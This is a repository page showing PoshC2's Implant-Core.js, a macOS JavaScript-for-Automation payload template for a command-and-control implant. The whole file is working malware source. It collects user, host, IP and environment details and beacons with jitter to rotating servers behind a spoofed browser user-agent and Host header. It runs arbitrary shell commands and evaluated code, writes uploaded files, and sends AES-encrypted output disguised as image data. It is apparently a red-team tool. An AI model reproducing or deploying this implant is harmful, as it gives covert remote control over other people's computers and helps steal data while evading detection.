Codebase list poshc2 / 39f6cef resources / payload-templates / Implant-Core.js
39f6cef

Tree @39f6cef (Download .tar.gz)

Implant-Core.js @39f6cefraw · history · blame

ObjC.import('Cocoa');
ObjC.import('Foundation');
ObjC.import('stdlib');
ObjC.import('Security');
ObjC.bindFunction('CFMakeCollectable', ['id', ['void *'] ]);
var currentApp = Application.currentApplication();
currentApp.includeStandardAdditions = true;

//Global Vars:
var key = "%s";
var parameters = $({"type": $.kSecAttrKeyTypeAES});
var raw_key = $.NSData.alloc.initWithBase64Encoding(key);
var cryptokey = $.SecKeyCreateFromData(parameters, raw_key, Ref());
var jitter = %s;
var s2 = "";

function beacon(sleepTime) {
    if (sleepTime.toLowerCase().includes('m')) {
        sleepTime = sleepTime.replace("m", "");
        newSleep = sleepTime * 60;
    }
    else if (sleepTime.toLowerCase().includes('h')) {
        sleepTime = sleepTime.replace("h", "");
        newSleep = sleepTime * 60;
        newSleep = newSleep * 60;
    }
    else if (sleepTime.toLowerCase().includes('s')) {
        sleepTime = sleepTime.replace("s", "");
        newSleep = sleepTime;
    }
    else {
        newSleep = sleepTime;
    }
    sleepTime = newSleep;
    return sleepTime;
}

var sleepTime = "5";
var newSleep = "%s";
sleepTime = beacon(newSleep);

// Implant Information (Used to show what user, hostname, IP, etc)
class agent{
	constructor(){
		this.procInfo = $.NSProcessInfo.processInfo;
		this.hostInfo = $.NSHost.currentHost;
		this.id = "";
		this.cu = ObjC.deepUnwrap(this.procInfo.userName);
		this.fullName = ObjC.deepUnwrap(this.procInfo.fullUserName);
		this.ip = ObjC.deepUnwrap(this.hostInfo.addresses);
		this.pid = this.procInfo.processIdentifier;
		this.host = ObjC.deepUnwrap(this.hostInfo.names)[0];
		this.environment = ObjC.deepUnwrap(this.procInfo.environment);
		this.uptime = this.procInfo.systemUptime;
		this.args = ObjC.deepUnwrap(this.procInfo.arguments);
		this.osVersion = this.procInfo.operatingSystemVersionString.js;
	}
}
var posh_implant = new agent();

function run_module(m) {
    let cmdOutput = "";
    try {
        cmdOutput = eval(s2 + "\n" + m);
    }
    catch(error) {
        cmdOutput = error.toString();
    }
    return cmdOutput;
};

function loadmodule(m){
    s2 = m;
    return "Module Loaded";
};

function readFile(file) {
    // Convert the file name to a string
    var fileString = file.toString();

    // Read the file using a specific delimiter and return the results
    return currentApp.read(Path(fileString));
}

function writeFile(file, data) {
    // Convert the data to a string
    //var fileString = file.toString()
    if (typeof data == "string") {
        data = convert_to_nsdata(data);
    }
    data.writeToFileAtomically(file, true);

    // Read the file using a specific delimiter and return the results
    return "File written";
};

function run_shell(command){
	//simply run a shell command via doShellScript and return the response
    let response = "";
    //console.log("in shell");
	try{
		//console.log("Running command: " + command);
		response = currentApp.doShellScript(command);
		if(response === undefined || response === ""){
		    response = "No Command Output";
		}
		// shell output uses \r instead of \n or \r\n to line endings, fix this nonsense
		response = response.replace(/\r/g, "\n");
		return response;
	}
	catch(error){
		response = error.toString().replace(/\r/g, "\n");
		return response;
	}
};

function run_jxa(m){
    let jxa = decode(m);
    let cmdOutput = ObjC.deepUnwrap(eval(jxa));
    return cmdOutput;
};

function enc(data){
    // takes in the string we're about to send, encrypts it, and returns a new string
    let err = Ref();
    let encrypt = $.SecEncryptTransformCreate(cryptokey,err);
    let b = $.SecTransformSetAttribute(encrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err);
    b= $.SecTransformSetAttribute(encrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err);
    //generate a random IV to use
    let IV = $.NSMutableData.dataWithLength(16);
    $.SecRandomCopyBytes($.kSecRandomDefault, 16, IV.bytes);
    b = $.SecTransformSetAttribute(encrypt, $("SecIVKey"), IV, err);
    //$.CFShow(IV);
    // set our data to be encrypted
    let nsdata = $(data).dataUsingEncoding($.NSUTF8StringEncoding);
    b=$.SecTransformSetAttribute(encrypt, $.kSecTransformInputAttributeName, nsdata, err);
    let encryptedData = $.SecTransformExecute(encrypt, err);
    //$.CFShow(encryptedData);
    // now we need to prepend the IV to the encrypted data before we base64 encode and return it
    let length = encryptedData.length;
    let remainder = length %% 16;
    if ( remainder != 0 ) {
      for (i=0; i < (16 - remainder); i++) {
          encryptedData.push("\x00");
        }
    }
    length = encryptedData.length;
    let final_message = $.NSMutableData.dataWithLength(0);
    final_message.appendData(IV);
    final_message.appendData(encryptedData);
    //console.log(final_message.base64EncodedStringWithOptions(0).js);
    return final_message.base64EncodedStringWithOptions(0).js;
}

function dec(nsdata){
    //takes in a base64 encoded string to be decrypted and returned
    let err = Ref();
    let decrypt = $.SecDecryptTransformCreate(cryptokey, err);
    $.SecTransformSetAttribute(decrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err);
    $.SecTransformSetAttribute(decrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err);
    // The first 16 bytes are the IV and the rest is the message to decrypt
    let iv_range = $.NSMakeRange(0, 16);
    let message_range = $.NSMakeRange(16, nsdata.length - 16);
    let iv = nsdata.subdataWithRange(iv_range);
    $.SecTransformSetAttribute(decrypt, $("SecIVKey"), iv, err);
    let message = nsdata.subdataWithRange(message_range);
    //$.CFShow(message);
    $.SecTransformSetAttribute(decrypt, $("INPUT"), message, err);
    let decryptedData = $.SecTransformExecute(decrypt, Ref());
    let decrypted_message = $.NSString.alloc.initWithDataEncoding(decryptedData, $.NSUTF8StringEncoding);
    return decrypted_message;
}

function decode(data) {
    // base64 decoding
	if(typeof data == "string"){
			var ns_data = $.NSData.alloc.initWithBase64Encoding($(data));
	}
	else{
			var ns_data = data;
	}
	var decoded_data = $.NSString.alloc.initWithDataEncoding(ns_data, $.NSUTF8StringEncoding).js;
	return decoded_data;
}

function encode(data) {
    //base64 encoding
	if(typeof data == "string"){
			var ns_data = convert_to_nsdata(data);
	}
	else{
			var ns_data = data;
	}
	var encstring = ns_data.base64EncodedStringWithOptions(0).js;
	return encstring;
}

convert_to_nsdata = function(strData){
    // helper function to convert UTF8 strings to NSData objects
    var tmpString = $.NSString.alloc.initWithCStringEncoding(strData, $.NSData.NSUnicodeStringEncoding);
    return tmpString.dataUsingEncoding($.NSData.NSUTF16StringEncoding);
};


function generateURL() {
    let minNum = 0;
    let maxNum = serverURLs.length;
    let maxNumURL = urls.length;
    let num = Math.floor(Math.random() * (maxNum - minNum) ) + minNum;
    let numURL = Math.floor(Math.random() * (maxNumURL - minNum) ) + minNum;
    let randomURI = urls[numURL]; //random choice from urls
    serverClean = serverURLs[num];
    server = serverClean + "/" + randomURI + "?" + uri;
    return server;
}

function getImgData() {
    let icoImage = [%s];
    minNum = 0;
    maxNum = icoImage.length;
    //console.log(maxNum);
    num = Math.floor(Math.random() * (maxNum - minNum) ) + minNum;
    let randomICO = icoImage[num]; //random choice from icoImage
    let results = randomICO.padEnd(1500, icoImage[num]);
    results = results.substring(0, 1500);
    return results;
}

function postData(postCookie, dataImageBytes, server) {
    let postReq = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(server));
	// Setup Cookie to be the encrypted task id
    postReq.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String("SessionID="+postCookie), $.NSString.alloc.initWithUTF8String("Cookie"));
    // Other Headers
    postReq.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(""), $.NSString.alloc.initWithUTF8String("Referer"));
    //console.log("host header: " + h);
    if (h != ""){
        postReq.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(h), $.NSString.alloc.initWithUTF8String("Host"));
    }
    postReq.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(ua), $.NSString.alloc.initWithUTF8String("User-Agent"));
    postReq.setHTTPMethod($.NSString.alloc.initWithUTF8String("POST"));
    let postData = $(dataImageBytes).dataUsingEncodingAllowLossyConversion($.NSString.NSASCIIStringEncoding, false);
    let postLength = $.NSString.stringWithFormat("%%d", postData.length);
    //console.log(postData.length); //i think i broke it.
    postReq.addValueForHTTPHeaderField(postLength, $.NSString.alloc.initWithUTF8String('Content-Length'));
    postReq.setHTTPBody(postData);
    let postResponse = Ref();
    let postError = Ref();
    let postResponseData = $.NSURLConnection.sendSynchronousRequestReturningResponseError(postReq,postResponse,postError);
}

function getData(server){
    let getReq = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(server));
    // Other Headers
    getReq.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(""), $.NSString.alloc.initWithUTF8String("Referer"));
    if (h != ""){
        getReq.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(h), $.NSString.alloc.initWithUTF8String("Host"));
    }
    getReq.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(ua), $.NSString.alloc.initWithUTF8String("User-Agent"));
    // Initial Request is a GET
    getReq.setHTTPMethod($.NSString.alloc.initWithUTF8String("GET"));
    let getResponse = Ref();
    let getError = Ref();
    let getResponseData = $.NSURLConnection.sendSynchronousRequestReturningResponseError(getReq,getResponse,getError);
    //$.CFShow(getResponseData); 
    return getResponseData;
}

function commander(c) {
    let id = c.substring(0,5);
    //console.log("ID: " + id);
    c = c.substring(5,);
    //console.log(c);
    try{
        if (c.substring(0,6) == "beacon") {
            console.log("Updating sleep time to: " + c.substring(7,));
            sleepTime = c.substring(7,);
            sleepTime = beacon(sleepTime);
            cmdOutput = "Sleep updated to " + c.substring(7,);
        }
        else if (c.substring(0,10) == "loadmodule") {
            let m = c.substring(10,);
            cmdOutput = loadmodule(m);
          }
        else if (c.substring(0,10) == "run-module") {
            let m = c.substring(11,); 
            cmdOutput = run_module(m);
        }
        else if (c.substring(0,7) == "run-jxa") {
            m = c.substring(8,);
            cmdOutput = run_jxa(m);
        }
        else if (c.substring(0,11) == "upload-file") {
            let upload_bytes = c.substring(12,).split(":")[1];
            let upload_destination = c.substring(12,).split(":")[0];
            let decoded = decode(upload_bytes);
            cmdOutput = writeFile(upload_destination, decoded)
        }
        else {
            cmdOutput = run_shell(c); 
        }
    }
    catch(error){
        cmdOutput = error.toString();
        //console.log(error);
    }
    let postCookie = enc(id);
    let encData = enc(cmdOutput);
    let dataImage = getImgData();
    dataImage = dataImage + encData;
    postData(postCookie, dataImage, server);
}

var ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15";
var uri= "%s";
var serverClean = %s;
var rotate = "";
while (true) {
    if (!rotate){
        var serverURLs = [serverClean,serverClean];
    } else {
        var serverURLs = rotate;
    }
    // get current date and time
    let month = ("0" + (currentApp.currentDate().getMonth() + 1)).slice(-2);
    let day = ("0" + currentApp.currentDate().getDate()).slice(-2);
    let year = currentApp.currentDate().getFullYear();
    let d = year + "-" + month + "-" + day;
    // kill date
    let k = "%s";
    if (k < d) {
        $.exit(0);
    }
    // Set range for jitter sleep then set to newSleepTime
    let max = (sleepTime * (1 + jitter));
    let min = (sleepTime * (1 - jitter));
    let newSleepTime = Math.floor(Math.random() * (max - min) ) + min;
    $.NSThread.sleepForTimeInterval(sleepTime);
    var urls = [%s]; 
    let server = generateURL();
    try {
        var readCommand = getData(server);
    } catch(error) {console.log("error");console.log(error);}
    server = generateURL();
    try {
        let p = $.NSData.alloc.initWithBase64Encoding(readCommand);
        //console.log(p);
        var ns_data = convert_to_nsdata(p);
        if(typeof p == "string"){
                var ns_data = convert_to_nsdata(p);
        }
        else{
                var ns_data = p;
        }
        let readCommandClear = dec(ns_data);
        readCommandClear = decode(readCommandClear.js);
        //console.log("From Server: " + readCommandClear);
        if (readCommandClear.includes("multicmd")) {
            let splitcmd = readCommandClear.replace("multicmd","");
            let cmdOutput = "";
            let splits = splitcmd.split("!d-3dion@LD!-d");
            splits.forEach(cmd => commander(cmd));
          }
    } catch {}
}